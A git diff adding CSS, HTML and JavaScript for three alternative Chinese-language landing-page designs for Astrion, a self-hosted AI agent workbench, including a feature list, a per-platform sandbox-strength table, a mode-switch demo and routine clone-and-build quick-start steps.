var(--ink); + min-height: 56px; +} + +/* ---------- 能力清单 ---------- */ +.features { max-width: 1060px; margin: 0 auto; padding: 140px 24px 0; } +.feature-list { + margin-top: 50px; + display: grid; grid-template-columns: repeat(2, 1fr); gap: 0 56px; +} +.feature { + border-top: 1px solid var(--line); + padding: 28px 0 34px; +} +.feature .f-no { font-size: 12.5px; color: var(--accent-ink); letter-spacing: .1em; } +.feature h3 { + font-family: var(--serif); font-size: 24px; font-weight: 600; + margin: 10px 0 12px; +} +.feature p { color: var(--ink-soft); font-size: 15px; } +.tag-beta { + font-style: normal; font-family: var(--mono); font-size: 11px; + border: 1px solid var(--accent); color: var(--accent-ink); + border-radius: 5px; padding: 1px 7px; vertical-align: 3px; margin-left: 4px; +} + +/* ---------- 安全区 ---------- */ +.security { max-width: 1060px; margin: 0 auto; padding: 140px 24px 0; } +.sec-table-wrap { margin-top: 44px; } +.sec-table { + width: 100%; border-collapse: collapse; + border-top: 1px solid var(--ink); border-bottom: 1px solid var(--ink); +} +.sec-table th { + font-family: var(--mono); font-weight: 500; font-size: 12.5px; + letter-spacing: .14em; color: var(--ink-soft); + text-align: left; padding: 14px 12px; + border-bottom: 1px solid var(--line); +} +.sec-table td { + padding: 20px 12px; font-size: 15px; vertical-align: middle; + border-bottom: 1px solid var(--line); +} +.sec-table tr:last-child td { border-bottom: none; } +.sec-table td:first-child { font-family: var(--serif); font-weight: 600; font-size: 17px; } +.sec-table td.mono { font-size: 13px; color: var(--ink-soft); } +.lvl { + display: inline-block; width: 10px; height: 10px; border-radius: 50%; + margin-right: 10px; vertical-align: 1px; +} +.lvl-full { background: #3d7a4e; } +.lvl-mid { background: #c9973f; } +.lvl-low { background: #b4443c; } +.sec-foot { margin-top: 18px; font-size: 13.5px; color: var(--ink-soft); } + +/* ---------- 快速上手 ---------- */ +.quickstart { max-width: 880px; margin: 0 auto; padding: 140px 24px 0; } +.qs-grid { margin-top: 44px; border: 1px solid var(--line); border-radius: 14px; overflow: hidden; } +.qs-tabs { display: flex; border-bottom: 1px solid var(--line); background: var(--card); } +.qs-tab { + border: none; background: transparent; cursor: pointer; + padding: 12px 22px; font-size: 13.5px; font-family: var(--mono); + color: var(--ink-soft); border-right: 1px solid var(--line); + transition: all .18s; +} +.qs-tab.active { background: var(--paper); color: var(--ink); box-shadow: inset 0 -2px 0 var(--accent); } +.qs-code { + background: #211d17; color: #efe9db; + padding: 26px 28px; font-size: 13.5px; line-height: 1.85; + overflow-x: auto; +} +.qs-code .c-cmt { color: #8f8672; } +.qs-end { margin-top: 24px; color: var(--ink-soft); font-size: 15px; } +.qs-end .mono { color: var(--accent-ink); } + +/* ---------- Footer ---------- */ +.footer { + margin-top: 150px; + border-top: 1px solid var(--line); + padding: 70px 40px 44px; + display: flex; flex-wrap: wrap; gap: 40px; align-items: flex-start; + position: relative; z-index: 1; +} +.brand-mark.lg { width: 54px; height: 54px; } +.foot-brand { max-width: 320px; } +.foot-line { margin-top: 18px; font-size: 14px; color: var(--ink-soft); } +.foot-links { display: flex; flex-direction: column; gap: 12px; margin-left: auto; } +.foot-links a { color: var(--ink); text-decoration: none; font-size: 14.5px; } +.foot-links a:hover { color: var(--accent-ink); } +.foot-copy { width: 100%; margin-top: 30px; font-size: 12px; color: var(--ink-soft); } + +/* ---------- 响应式 ---------- */ +@media (max-width: 720px) { + .nav { padding: 14px 20px; gap: 18px; } + .nav-links { display: none; } + .feature-list { grid-template-columns: 1fr; } + .hero { padding-top: 76px; } + .br-pc { display: none; } + .mode-board { padding: 22px 20px; } + .mg-label { width: 100%; margin-bottom: 4px; } +} diff --git a/website-design/v1-editorial/index.html b/website-design/v1-editorial/index.html new file mode 100644 index 00000000..40097a40 --- /dev/null +++ b/website-design/v1-editorial/index.html @@ -0,0 +1,234 @@ + + + + + + Astrion — 星尘聚合,即成智能体 + + + + + + + + + + + + + + +
+

开源 · 自托管 · 数据不出本机

+

星尘聚合,
即成智能体

+

+ Astrion 是一个住在你机器上的智能体工作台:普通对话、多智能体团队、
+ 工作流与技能包——全部本地运行,由你完全掌控。 +

+
+ 开始使用 + +
+
+ 三种形态 + Web 界面 + CLI 开发中 + Android +
+
+ + +
+
+
+ + localhost:8091 +
+ Astrion 经典主题主界面:六边形智能体形象、输入栏与模式切换 +
+
+

六边形智能体形象——它不止是会标,工作、思考、使用工具时都有实时表情。

+

输入栏底行即控制台:对话类型、运行模式、权限、执行环境,一眼可见、一点即切。

+
+
+ + +
+

CORE CONCEPTS

+

四组开关,
定义它的行为边界。

+

别的智能体让你猜它能做什么;Astrion 把边界做成四个明明白白的开关。
点一点,看看组合的含义:

+ +
+
+ 部署模式 + + +
+
+ 权限模式 + + + + +
+
+ 执行环境 + + +
+
+ 运行模式 + + + +
+

+
+
+ + +
+

CAPABILITIES

+

一支团队,
而不只是一个对话框。

+
+
+ 01 +

多智能体团队

+

Team Leader 率领一支带角色的团队:全栈工程师、代码评审、调研员……分工协作、互相请教,每一步都向你汇报。预置 5 个角色,也可以自己写。

+
+
+ 02 +

三层资产安全网

+

版本控制按消息打检查点、修改留痕落盘可 git apply 恢复的 diff、Git 状态栏实时盯梢——AI 怎么折腾,你的劳动成果都丢不了。

+
+
+ 03 +

快捷窗口

+

对话区右侧的五窗看板:待办、子智能体、后台命令、文件记录、工作流。任务进展、产物收取、失控终止,一臂之遥。

+
+
+ 04 +

工作流与技能包

+

把流程沉淀为工作流模板,把经验沉淀为 Skill。内置 4 个工作流、12 个技能包;用得越久,它越懂你的章法。

+
+
+ 05 +

目标模式 Beta

+

给出一个长期目标,它自动一轮一轮干下去:每轮自我评估、可配审核智能体把关,触顶或达成才停。

+
+
+ 06 +

MCP 扩展

+

通过 Model Context Protocol 接入外部工具服务;host 模式下甚至可以对它说一句「帮我配置 xxx」就装好了。

+
+
+
+ + +
+

SECURITY, HONESTLY

+

安全这件事,
我们说实话。

+

每个平台能提供的隔离强度不同。别家含糊其辞,我们把水位线画给你看:

+
+ + + + + + + + + + + + + + + + + + +
平台沙箱实现安全水位
WindowsWSL2可做到完全数据隔离,需先安装 WSL2
macOSsandbox-exec能限制写入,但文件系统全局可读,无法防止数据泄露
Linuxbwrap + seccomp尚未经过实测,请勿依赖其隔离性
+

叠加路径授权最小化、网络受限、批准模式,才是完整的防护姿势。

+
+
+ + +
+

QUICK START

+

三分钟,
让它住进你的机器。

+
+
+ + +
+
# 1. 克隆
+git clone https://github.com/JOJO6618/astrion.git
+cd astrion
+
+# 2. 初始化向导:依赖 → 运行模式 → 端口 → 管理员 → 模型
+./setup.sh
+
+# 3. 构建前端并启动
+npm install && npm run build
+python -m server.app
+ +
+

启动后访问 http://localhost:8091,剩下的交给向导。

+
+ + +
+
+ +

星之子,星际粒子。
把人类意图传递到工具、文件与终端之间。

+
+ +

© 2026 Astrion · Open Source

+
+ + + + diff --git a/website-design/v1-editorial/js/main.js b/website-design/v1-editorial/js/main.js new file mode 100644 index 00000000..481e3af8 --- /dev/null +++ b/website-design/v1-editorial/js/main.js @@ -0,0 +1,90 @@ +/* Astrion 官网 · 版本一交互 */ + +// ---- 入场动效 ---- +const io = new IntersectionObserver((entries) => { + for (const e of entries) { + if (e.isIntersecting) { + e.target.classList.add('in'); + io.unobserve(e.target); + } + } +}, { threshold: 0.12 }); +document.querySelectorAll('.reveal').forEach((el) => io.observe(el)); + +// ---- 复制克隆命令 ---- +document.querySelectorAll('[data-copy]').forEach((btn) => { + btn.addEventListener('click', async () => { + const text = btn.getAttribute('data-copy'); + try { + await navigator.clipboard.writeText(text); + } catch { + const ta = document.createElement('textarea'); + ta.value = text; + document.body.appendChild(ta); + ta.select(); + document.execCommand('copy'); + ta.remove(); + } + btn.classList.add('copied'); + const hint = btn.querySelector('.copy-hint'); + const old = hint.textContent; + hint.textContent = '已复制 ✓'; + setTimeout(() => { btn.classList.remove('copied'); hint.textContent = old; }, 1600); + }); +}); + +// ---- 四组模式演示 ---- +const modeState = { deploy: 'host', permission: 'approval', exec: 'sandbox', work: 'plan' }; + +const verdictText = () => { + const work = { + plan: 'AI 只制定计划并与你讨论,批准后自动转入执行', + ask: 'AI 先与你确认方案细节,再动手', + execute: 'AI 自行补全细节,直接开工' + }[modeState.work]; + const perm = { + readonly: '只能读取与检索,一切写入被直接拒绝', + approval: '命令先在只读沙箱试跑,写入需你逐次点头', + auto: '写入由自动审批智能体替你把关,你可随时接管', + unrestricted: '工具不做拦截,直接执行' + }[modeState.permission]; + const exec = modeState.exec === 'sandbox' + ? '命令约束在 OS 沙箱内,读写边界由路径授权限定' + : '命令直接在宿主机执行,无沙箱兜底(高风险)'; + const deploy = modeState.deploy === 'host' + ? '数据存在本机 ~/.astrion,命令跑在宿主机' + : '数据存在服务器,每个用户一个独立容器'; + + let extra = ''; + if (modeState.work === 'plan') extra = '(计划模式下权限与执行环境已锁定为只读+沙箱)'; + if (modeState.exec === 'direct' && modeState.permission === 'unrestricted') extra = '(无限制+直连:等同裸奔,请确认你知道自己在做什么)'; + + return `${deploy};${exec}。${work};${perm}。${extra}`; +}; + +const verdictEl = document.getElementById('modeVerdict'); +const renderVerdict = () => { verdictEl.textContent = verdictText(); }; + +document.querySelectorAll('.mode-group').forEach((group) => { + const key = group.getAttribute('data-group'); + group.querySelectorAll('.mg-opt').forEach((opt) => { + opt.addEventListener('click', () => { + group.querySelectorAll('.mg-opt').forEach((o) => o.classList.remove('active')); + opt.classList.add('active'); + modeState[key] = opt.getAttribute('data-v'); + renderVerdict(); + }); + }); +}); +renderVerdict(); + +// ---- 快速上手 tab ---- +document.querySelectorAll('.qs-tab').forEach((tab) => { + tab.addEventListener('click', () => { + document.querySelectorAll('.qs-tab').forEach((t) => t.classList.remove('active')); + tab.classList.add('active'); + const target = tab.getAttribute('data-tab'); + document.getElementById('qsHost').classList.toggle('hidden', target !== 'host'); + document.getElementById('qsDocker').classList.toggle('hidden', target !== 'docker'); + }); +}); diff --git a/website-design/v2-stardust/assets/product-main.png b/website-design/v2-stardust/assets/product-main.png new file mode 100644 index 00000000..7016c2fb Binary files /dev/null and b/website-design/v2-stardust/assets/product-main.png differ diff --git a/website-design/v2-stardust/css/style.css b/website-design/v2-stardust/css/style.css new file mode 100644 index 00000000..cb4e7f47 --- /dev/null +++ b/website-design/v2-stardust/css/style.css @@ -0,0 +1,252 @@ +/* ============================================================ + Astrion 官网 · 版本二:深色星尘(星图 / 天文台) + ============================================================ */ +:root { + --space: #0b0d12; + --panel: #11141b; + --ink: #e9e6dd; + --ink-soft: #9a968c; + --line: rgba(233, 230, 221, .1); + --accent: #e8a87c; + --accent-deep: #cc785c; + --sans: "Sora", "Noto Sans SC", "PingFang SC", system-ui, sans-serif; + --mono: "IBM Plex Mono", "SF Mono", Menlo, monospace; +} + +* { margin: 0; padding: 0; box-sizing: border-box; } +html { scroll-behavior: smooth; } +body { + background: var(--space); + color: var(--ink); + font-family: var(--sans); + font-size: 16px; line-height: 1.75; + overflow-x: hidden; +} +::selection { background: var(--accent-deep); color: #fff; } +.mono { font-family: var(--mono); } +.hidden { display: none !important; } + +#sky { position: fixed; inset: 0; z-index: 0; pointer-events: none; } + +/* ---------- 入场动效 ---------- */ +.reveal { opacity: 0; transform: translateY(22px); transition: opacity .7s ease, transform .7s cubic-bezier(.2,.7,.2,1); } +.reveal.in { opacity: 1; transform: none; } +.reveal.d1 { transition-delay: .08s; } +.reveal.d2 { transition-delay: .16s; } +.reveal.d3 { transition-delay: .24s; } +.reveal.d4 { transition-delay: .32s; } + +/* ---------- 导航 ---------- */ +.nav { + position: sticky; top: 0; z-index: 20; + display: flex; align-items: center; gap: 32px; + padding: 16px 40px; + background: var(--space); + border-bottom: 1px solid var(--line); +} +.brand { display: flex; align-items: center; gap: 12px; text-decoration: none; color: var(--ink); } +.brand-mark { width: 30px; height: 30px; } +.brand-mark .hex { fill: none; stroke: var(--ink); stroke-width: 9; } +.brand-mark .eye { stroke: var(--accent); stroke-width: 9; stroke-linecap: round; } +.brand-name { font-weight: 600; font-size: 19px; letter-spacing: .04em; } +.brand-tag { + font-size: 10px; letter-spacing: .22em; color: var(--ink-soft); + border: 1px solid var(--line); border-radius: 4px; padding: 2px 7px; +} +.nav-links { display: flex; gap: 26px; margin-left: auto; } +.nav-links a { color: var(--ink-soft); text-decoration: none; font-size: 14px; transition: color .2s; } +.nav-links a:hover { color: var(--accent); } + +.btn { + display: inline-flex; align-items: center; gap: 8px; + border: 1px solid var(--line); border-radius: 8px; + padding: 9px 18px; font-size: 14px; text-decoration: none; + font-family: var(--sans); cursor: pointer; + transition: all .2s; background: transparent; color: var(--ink); +} +.btn:active { transform: translateY(1px); } +.btn-accent { background: var(--accent); border-color: var(--accent); color: #16120c; font-weight: 600; } +.btn-accent:hover { background: var(--accent-deep); border-color: var(--accent-deep); color: #fff; } +.btn-lg { padding: 13px 26px; font-size: 15px; border-radius: 10px; } + +/* ---------- Hero ---------- */ +.hero { position: relative; z-index: 1; max-width: 1160px; margin: 0 auto; padding: 90px 40px 30px; } +.hero-grid { display: grid; grid-template-columns: 1.25fr .75fr; gap: 40px; align-items: center; } +.coord { font-size: 12px; letter-spacing: .26em; color: var(--accent); margin-bottom: 26px; } +.hero-title { font-weight: 700; font-size: clamp(40px, 5.6vw, 72px); line-height: 1.22; letter-spacing: .01em; } +.hero-title .accent { color: var(--accent); } +.hero-sub { margin-top: 26px; max-width: 520px; color: var(--ink-soft); font-size: 16.5px; } +.hero-cta { margin-top: 38px; display: flex; align-items: center; gap: 14px; flex-wrap: wrap; } +.clone-chip { + display: inline-flex; align-items: center; gap: 10px; + border: 1px solid var(--line); background: var(--panel); + border-radius: 10px; padding: 12px 16px; + font-size: 13px; color: var(--ink); cursor: pointer; + transition: border-color .2s; +} +.clone-chip:hover { border-color: var(--accent); } +.clone-chip .prompt { color: var(--accent); } +.clone-chip .copy-hint { font-size: 12px; color: var(--ink-soft); border-left: 1px solid var(--line); padding-left: 10px; } +.clone-chip.copied .copy-hint { color: #7fbf7f; } +.hero-meta { margin-top: 30px; display: flex; gap: 14px; font-size: 13px; color: var(--ink-soft); } +.hero-meta i { font-style: normal; opacity: .4; } +.hero-meta em { font-style: normal; color: var(--accent); font-size: 11px; } + +.hero-mark { text-align: center; } +.hero-mark svg { width: 300px; max-width: 100%; } +.ring-lines line { stroke: var(--line); stroke-width: 1; } +.orbit-slow { transform-origin: 160px 160px; animation: orbit 40s linear infinite; } +@keyframes orbit { to { transform: rotate(360deg); } } +.sat { fill: var(--accent); } +.sat.s2 { fill: var(--ink-soft); } +.mark-hex { fill: none; stroke: var(--ink); stroke-width: 10; } +.mark-eye { stroke: var(--accent); stroke-width: 10; stroke-linecap: round; } +.mark-caption { margin-top: 10px; font-size: 11px; letter-spacing: .3em; color: var(--ink-soft); } + +.hero-stats { + margin-top: 60px; display: grid; grid-template-columns: repeat(4, 1fr); + border-top: 1px solid var(--line); border-bottom: 1px solid var(--line); +} +.stat { padding: 22px 10px; text-align: center; border-right: 1px solid var(--line); } +.stat:last-child { border-right: none; } +.stat b { display: block; font-size: 30px; font-weight: 600; color: var(--accent); } +.stat span { font-size: 12.5px; color: var(--ink-soft); font-family: var(--sans); } + +/* ---------- 产品实拍 ---------- */ +.shot-section { position: relative; z-index: 1; max-width: 1060px; margin: 60px auto 0; padding: 0 24px; } +.term-shot { + border: 1px solid var(--line); border-radius: 14px; overflow: hidden; + background: var(--panel); + box-shadow: 0 30px 70px -40px rgba(0, 0, 0, .8); +} +.term-bar { + display: flex; justify-content: space-between; + padding: 11px 16px; border-bottom: 1px solid var(--line); + font-size: 12px; color: var(--ink-soft); +} +.term-bar .dim { opacity: .6; } +.term-shot img { display: block; width: 100%; } + +/* ---------- 章节公共 ---------- */ +section { position: relative; z-index: 1; } +.sec-title { font-weight: 700; font-size: clamp(30px, 4.2vw, 50px); line-height: 1.3; } +.sec-sub { color: var(--ink-soft); margin-top: 16px; max-width: 620px; } + +/* ---------- 模式演示 ---------- */ +.modes { max-width: 1060px; margin: 0 auto; padding: 130px 24px 0; } +.mode-board { + margin-top: 40px; + border: 1px solid var(--line); border-radius: 16px; + background: var(--panel); padding: 30px 34px 26px; +} +.mode-group { + display: flex; align-items: center; gap: 10px; flex-wrap: wrap; + padding: 13px 0; border-bottom: 1px dashed var(--line); +} +.mode-group:last-of-type { border-bottom: none; } +.mg-label { width: 92px; font-size: 12.5px; color: var(--ink-soft); flex-shrink: 0; letter-spacing: .1em; } +.mg-opt { + border: 1px solid var(--line); background: var(--space); + border-radius: 8px; padding: 6px 15px; font-size: 13.5px; + font-family: var(--sans); color: var(--ink); cursor: pointer; + transition: all .18s; +} +.mg-opt:hover { border-color: var(--accent); } +.mg-opt.active { background: var(--accent); color: #16120c; border-color: var(--accent); font-weight: 600; } +.mode-verdict { + margin-top: 22px; padding: 15px 20px; + border-left: 2px solid var(--accent); + background: var(--space); border-radius: 0 10px 10px 0; + font-size: 13px; color: var(--ink-soft); + min-height: 52px; line-height: 1.7; +} + +/* ---------- 能力星图 ---------- */ +.features { max-width: 1060px; margin: 0 auto; padding: 130px 24px 0; } +.star-chart { + margin-top: 46px; + display: grid; grid-template-columns: repeat(3, 1fr); + border-top: 1px solid var(--line); border-left: 1px solid var(--line); +} +.fnode { + border-right: 1px solid var(--line); border-bottom: 1px solid var(--line); + padding: 28px 26px 32px; + transition: background .25s; +} +.fnode:hover { background: var(--panel); } +.fn-id { font-size: 11px; letter-spacing: .18em; color: var(--accent); } +.fnode h3 { font-size: 19px; font-weight: 600; margin: 12px 0 10px; } +.fnode p { color: var(--ink-soft); font-size: 14px; } +.tag-beta { + font-style: normal; font-family: var(--mono); font-size: 10px; + border: 1px solid var(--accent-deep); color: var(--accent); + border-radius: 4px; padding: 1px 6px; vertical-align: 2px; +} + +/* ---------- 安全区(天文台数据面板) ---------- */ +.security { max-width: 1060px; margin: 0 auto; padding: 130px 24px 0; } +.obs-panel { + margin-top: 42px; + border: 1px solid var(--line); border-radius: 14px; overflow: hidden; + background: var(--panel); +} +.obs-row { + display: grid; grid-template-columns: 140px 190px 1fr; gap: 18px; + padding: 18px 24px; font-size: 14.5px; + border-bottom: 1px solid var(--line); align-items: center; +} +.obs-row:last-child { border-bottom: none; } +.obs-head { font-size: 11.5px; letter-spacing: .2em; color: var(--ink-soft); padding: 13px 24px; } +.obs-os { font-weight: 700; font-size: 16px; } +.obs-row .dim { color: var(--ink-soft); font-size: 12.5px; } +.dot { display: inline-block; width: 9px; height: 9px; border-radius: 50%; margin-right: 10px; } +.dot.ok { background: #7fbf7f; } +.dot.warn { background: #d9b45c; } +.dot.bad { background: #d97a6c; } + +/* ---------- 快速上手 ---------- */ +.quickstart { max-width: 860px; margin: 0 auto; padding: 130px 24px 0; } +.qs-grid { margin-top: 42px; border: 1px solid var(--line); border-radius: 14px; overflow: hidden; } +.qs-tabs { display: flex; background: var(--panel); border-bottom: 1px solid var(--line); } +.qs-tab { + border: none; background: transparent; cursor: pointer; + padding: 12px 22px; font-size: 13px; + color: var(--ink-soft); border-right: 1px solid var(--line); + transition: all .18s; +} +.qs-tab.active { background: var(--space); color: var(--accent); box-shadow: inset 0 -2px 0 var(--accent); } +.qs-code { + background: #0d0f15; color: #e6e2d6; + padding: 26px 28px; font-size: 13.5px; line-height: 1.85; + overflow-x: auto; +} +.qs-code .c-cmt { color: #6f6a5c; } +.qs-end { margin-top: 22px; color: var(--accent); font-size: 14px; } + +/* ---------- Footer ---------- */ +.footer { + margin-top: 140px; + border-top: 1px solid var(--line); + padding: 64px 40px 40px; + display: flex; flex-wrap: wrap; gap: 40px; align-items: flex-start; + position: relative; z-index: 1; +} +.brand-mark.lg { width: 54px; height: 54px; } +.foot-brand { max-width: 320px; } +.foot-line { margin-top: 18px; font-size: 14px; color: var(--ink-soft); } +.foot-links { display: flex; flex-direction: column; gap: 12px; margin-left: auto; font-size: 13px; } +.foot-links a { color: var(--ink-soft); text-decoration: none; letter-spacing: .08em; } +.foot-links a:hover { color: var(--accent); } +.foot-copy { width: 100%; margin-top: 28px; font-size: 11.5px; color: var(--ink-soft); letter-spacing: .18em; } + +/* ---------- 响应式 ---------- */ +@media (max-width: 860px) { + .hero-grid { grid-template-columns: 1fr; } + .hero-mark { order: -1; } + .hero-mark svg { width: 220px; } + .star-chart { grid-template-columns: 1fr; } + .hero-stats { grid-template-columns: repeat(2, 1fr); } + .stat:nth-child(2) { border-right: none; } + .nav-links { display: none; } + .obs-row { grid-template-columns: 1fr; gap: 4px; } +} diff --git a/website-design/v2-stardust/index.html b/website-design/v2-stardust/index.html new file mode 100644 index 00000000..ad3c0ef6 --- /dev/null +++ b/website-design/v2-stardust/index.html @@ -0,0 +1,242 @@ + + + + + + Astrion — 住在你机器上的智能体团队 + + + + + + + + + + + + + +
+
+
+

SECTOR 01 · 自托管智能体工作台

+

+ 星尘聚合,
即成智能体。 +

+

+ Astrion 运行在你的机器上:普通对话、多智能体团队、工作流与技能包。 + 数据不出本机,边界由你设定。 +

+
+ 开始使用 + +
+
+ Web·CLI 开发中·Android +
+
+ + + +
+ +
+
4组行为开关
+
5个快捷窗口
+
12个内置技能包
+
3层资产安全网
+
+
+ + +
+
+
+ astrion — localhost:8091 + 夜间主题 +
+ Astrion 夜间主题主界面 +
+
+ + +
+

SECTOR 02 · CORE CONCEPTS

+

四组开关,定义它的行为边界。

+
+
+ 部署模式 + + +
+
+ 权限模式 + + + + +
+
+ 执行环境 + + +
+
+ 运行模式 + + + +
+

+
+
+ + +
+

SECTOR 03 · CAPABILITIES

+

一支团队,而不只是一个对话框。

+
+
+ FT-01 +

多智能体团队

+

Team Leader 率领角色团队协作:全栈工程师、代码评审、调研员……预置 5 个角色,可自建。

+
+
+ FT-02 +

三层资产安全网

+

版本控制按消息打检查点;修改留痕落盘可 git apply 恢复的 diff;Git 状态栏实时盯梢。

+
+
+ FT-03 +

快捷窗口

+

待办、子智能体、后台命令、文件记录、工作流——五窗看板,任务进展与产物一臂之遥。

+
+
+ FT-04 +

工作流与技能包

+

内置 4 个工作流、12 个技能包;把流程与经验沉淀下来,越用越懂你的章法。

+
+
+ FT-05 +

目标模式 BETA

+

给出长期目标,自动逐轮推进:自我评估、审核智能体把关、触顶或达成才停。

+
+
+ FT-06 +

MCP 扩展

+

接入任意 MCP 工具服务;host 模式下对它说一句「帮我配置 xxx」即可装好。

+
+
+
+ + +
+

SECTOR 04 · SECURITY, HONESTLY

+

安全这件事,我们说实话。

+

每个平台能提供的隔离强度不同。别家含糊其辞,我们把水位线画给你看。

+
+
平台沙箱实现安全水位
+
WindowsWSL2完全数据隔离,需先安装 WSL2
+
macOSsandbox-exec可限制写入;全局可读,无法防止数据泄露
+
Linuxbwrap+seccomp尚未实测,请勿依赖其隔离性
+
+
+ + +
+

SECTOR 05 · QUICK START

+

三分钟,让它住进你的机器。

+
+
+ + +
+
# 1. 克隆
+$ git clone https://github.com/JOJO6618/astrion.git
+$ cd astrion
+
+# 2. 初始化向导
+$ ./setup.sh
+
+# 3. 构建前端并启动
+$ npm install && npm run build
+$ python -m server.app
+ +
+

→ http://localhost:8091

+
+ + +
+
+ +

星之子,星际粒子。
把人类意图传递到工具、文件与终端之间。

+
+ +

© 2026 ASTRION · OPEN SOURCE

+
+ + + + diff --git a/website-design/v2-stardust/js/main.js b/website-design/v2-stardust/js/main.js new file mode 100644 index 00000000..9fb0e9bc --- /dev/null +++ b/website-design/v2-stardust/js/main.js @@ -0,0 +1,142 @@ +/* Astrion 官网 · 版本二交互(含星野粒子) */ + +// ---- 星野:缓慢漂移的粒子 + 邻近连线(无光晕) ---- +(() => { + const canvas = document.getElementById('sky'); + const ctx = canvas.getContext('2d'); + let W, H, stars = []; + const DENSITY = 9000; // 每多少平方像素一颗星 + const LINK = 110; // 连线距离阈值 + + function resize() { + W = canvas.width = innerWidth * devicePixelRatio; + H = canvas.height = innerHeight * devicePixelRatio; + canvas.style.width = innerWidth + 'px'; + canvas.style.height = innerHeight + 'px'; + const n = Math.min(140, Math.floor((innerWidth * innerHeight) / DENSITY)); + stars = Array.from({ length: n }, () => ({ + x: Math.random() * W, + y: Math.random() * H, + r: (Math.random() * 1.1 + 0.5) * devicePixelRatio, + vx: (Math.random() - 0.5) * 0.06 * devicePixelRatio, + vy: (Math.random() - 0.5) * 0.06 * devicePixelRatio, + a: Math.random() * 0.35 + 0.15 + })); + } + + function tick() { + ctx.clearRect(0, 0, W, H); + const link = LINK * devicePixelRatio; + // 连线 + ctx.lineWidth = devicePixelRatio * 0.5; + for (let i = 0; i < stars.length; i++) { + for (let j = i + 1; j < stars.length; j++) { + const dx = stars[i].x - stars[j].x; + const dy = stars[i].y - stars[j].y; + const d = Math.hypot(dx, dy); + if (d < link) { + ctx.strokeStyle = `rgba(232,168,124,${(1 - d / link) * 0.10})`; + ctx.beginPath(); + ctx.moveTo(stars[i].x, stars[i].y); + ctx.lineTo(stars[j].x, stars[j].y); + ctx.stroke(); + } + } + } + // 星点 + for (const s of stars) { + s.x += s.vx; s.y += s.vy; + if (s.x < 0 || s.x > W) s.vx *= -1; + if (s.y < 0 || s.y > H) s.vy *= -1; + ctx.fillStyle = `rgba(233,230,221,${s.a})`; + ctx.beginPath(); + ctx.arc(s.x, s.y, s.r, 0, Math.PI * 2); + ctx.fill(); + } + requestAnimationFrame(tick); + } + + addEventListener('resize', resize); + resize(); + tick(); +})(); + +// ---- 入场动效 ---- +const io = new IntersectionObserver((entries) => { + for (const e of entries) { + if (e.isIntersecting) { + e.target.classList.add('in'); + io.unobserve(e.target); + } + } +}, { threshold: 0.12 }); +document.querySelectorAll('.reveal').forEach((el) => io.observe(el)); + +// ---- 复制克隆命令 ---- +document.querySelectorAll('[data-copy]').forEach((btn) => { + btn.addEventListener('click', async () => { + const text = btn.getAttribute('data-copy'); + try { await navigator.clipboard.writeText(text); } catch {} + btn.classList.add('copied'); + const hint = btn.querySelector('.copy-hint'); + const old = hint.textContent; + hint.textContent = '已复制 ✓'; + setTimeout(() => { btn.classList.remove('copied'); hint.textContent = old; }, 1600); + }); +}); + +// ---- 四组模式演示 ---- +const modeState = { deploy: 'host', permission: 'approval', exec: 'sandbox', work: 'plan' }; + +const verdictText = () => { + const work = { + plan: 'AI 只制定计划并与你讨论,批准后自动转入执行', + ask: 'AI 先与你确认方案细节,再动手', + execute: 'AI 自行补全细节,直接开工' + }[modeState.work]; + const perm = { + readonly: '只能读取与检索,一切写入被直接拒绝', + approval: '命令先在只读沙箱试跑,写入需你逐次点头', + auto: '写入由自动审批智能体替你把关,你可随时接管', + unrestricted: '工具不做拦截,直接执行' + }[modeState.permission]; + const exec = modeState.exec === 'sandbox' + ? '命令约束在 OS 沙箱内,读写边界由路径授权限定' + : '命令直接在宿主机执行,无沙箱兜底(高风险)'; + const deploy = modeState.deploy === 'host' + ? '数据存在本机 ~/.astrion,命令跑在宿主机' + : '数据存在服务器,每个用户一个独立容器'; + + let extra = ''; + if (modeState.work === 'plan') extra = ' // 计划模式下权限与执行环境已锁定为只读+沙箱'; + if (modeState.exec === 'direct' && modeState.permission === 'unrestricted') extra = ' // 警告:无限制+直连 = 裸奔'; + + return `${deploy};${exec}。${work};${perm}。${extra}`; +}; + +const verdictEl = document.getElementById('modeVerdict'); +const renderVerdict = () => { verdictEl.textContent = verdictText(); }; + +document.querySelectorAll('.mode-group').forEach((group) => { + const key = group.getAttribute('data-group'); + group.querySelectorAll('.mg-opt').forEach((opt) => { + opt.addEventListener('click', () => { + group.querySelectorAll('.mg-opt').forEach((o) => o.classList.remove('active')); + opt.classList.add('active'); + modeState[key] = opt.getAttribute('data-v'); + renderVerdict(); + }); + }); +}); +renderVerdict(); + +// ---- 快速上手 tab ---- +document.querySelectorAll('.qs-tab').forEach((tab) => { + tab.addEventListener('click', () => { + document.querySelectorAll('.qs-tab').forEach((t) => t.classList.remove('active')); + tab.classList.add('active'); + const target = tab.getAttribute('data-tab'); + document.getElementById('qsHost').classList.toggle('hidden', target !== 'host'); + document.getElementById('qsDocker').classList.toggle('hidden', target !== 'docker'); + }); +}); diff --git a/website-design/v3-terminal/assets/product-main-classic.png b/website-design/v3-terminal/assets/product-main-classic.png new file mode 100644 index 00000000..f8290d25 Binary files /dev/null and b/website-design/v3-terminal/assets/product-main-classic.png differ diff --git a/website-design/v3-terminal/css/style.css b/website-design/v3-terminal/css/style.css new file mode 100644 index 00000000..c5e9660f --- /dev/null +++ b/website-design/v3-terminal/css/style.css @@ -0,0 +1,188 @@ +/* ============================================================ + Astrion 官网 · 版本三:终端极简(man page 手册风) + ============================================================ */ +:root { + --paper: #fcfcfa; + --ink: #171512; + --ink-soft: #6b6559; + --line: #d9d5ca; + --accent: #c2480f; + --mono: "IBM Plex Mono", "SF Mono", Menlo, monospace; + --sans: "Noto Sans SC", "PingFang SC", system-ui, sans-serif; +} + +* { margin: 0; padding: 0; box-sizing: border-box; } +html { scroll-behavior: smooth; } +body { + background: var(--paper); + color: var(--ink); + font-family: var(--sans); + font-size: 15px; line-height: 1.8; +} +::selection { background: var(--accent); color: #fff; } +.mono { font-family: var(--mono); } +.hidden { display: none !important; } + +.page { max-width: 860px; margin: 0 auto; padding: 0 28px 60px; } + +/* ---------- man 顶条 ---------- */ +.manbar { + display: flex; justify-content: space-between; + padding: 14px 2px; + border-bottom: 1px solid var(--ink); + font-size: 12.5px; letter-spacing: .06em; +} +.manbar-c { color: var(--ink-soft); } + +/* ---------- Hero ---------- */ +.hero { padding: 54px 0 10px; } +.hero-row { display: flex; align-items: center; gap: 22px; } +.hero-mark { width: 74px; height: 74px; flex-shrink: 0; } +.hero-mark .hex { fill: none; stroke: var(--ink); stroke-width: 8; } +.hero-mark .eye { stroke: var(--accent); stroke-width: 9; stroke-linecap: round; 